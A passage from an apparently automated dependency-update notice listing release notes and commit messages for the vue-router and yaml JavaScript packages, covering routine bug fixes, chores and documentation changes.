For pre-releases, please refer to CHANGELOG.md of theminorbranch.
Does any of this look wrong? Please let us know.
Commits
See the full diff on Github. The new version differs by more commits than we can show here.
↗️ vue-router (indirect, 4.5.1 → 4.6.4) · Repo
Release Notes
4.6.4
🚀 Features
🐞 Bug Fixes
- Make the build output compatible with v4.5 - by @drylint in #2591 (42bc2)
- experimental: IsActive with custom params - by @posva (edca6)
View changes on GitHub
4.6.3
Please refer to CHANGELOG.md for details.
4.6.2
Please refer to CHANGELOG.md for details.
4.6.1
Please refer to CHANGELOG.md for details.
4.6.0
Please refer to CHANGELOG.md for details.
Does any of this look wrong? Please let us know.
Commits
See the full diff on Github. The new version differs by more commits than we can show here.
↗️ yaml (indirect, 2.8.0 → 2.8.2) · Repo
Release Notes
2.8.2
2.8.1
- Preserve empty block literals (#634)
Does any of this look wrong? Please let us know.
Commits
See the full diff on Github. The new version differs by 19 commits:
2.8.2chore: Add funding to package.jsonstyle: Apply updated Prettier rules & satisfy updated ESLintchore: Drop unused dependency cross-envchore: Update to @rollup/plugin-replace v6chore: Update to eslint-config-prettier v10chore: Refresh lockfilefix: Do not double newlines for empty map values (#642)ci: Limit action permissions to minimum requiredfix: Serialize -0 as -0 (fixes #638)2.8.1 also for JSR2.8.1chore: Add explicit jest-resolve@29 dev dependency to keep Node.js 15 compatibilitychore: Refresh lockfilefix: Preserve empty block literals (#634)docs: Update site introdocs: Update README & docs/CONTRIBUTINGdocs: Note that schema can be a Schemadocs: Update instructions on vulnerability reporting




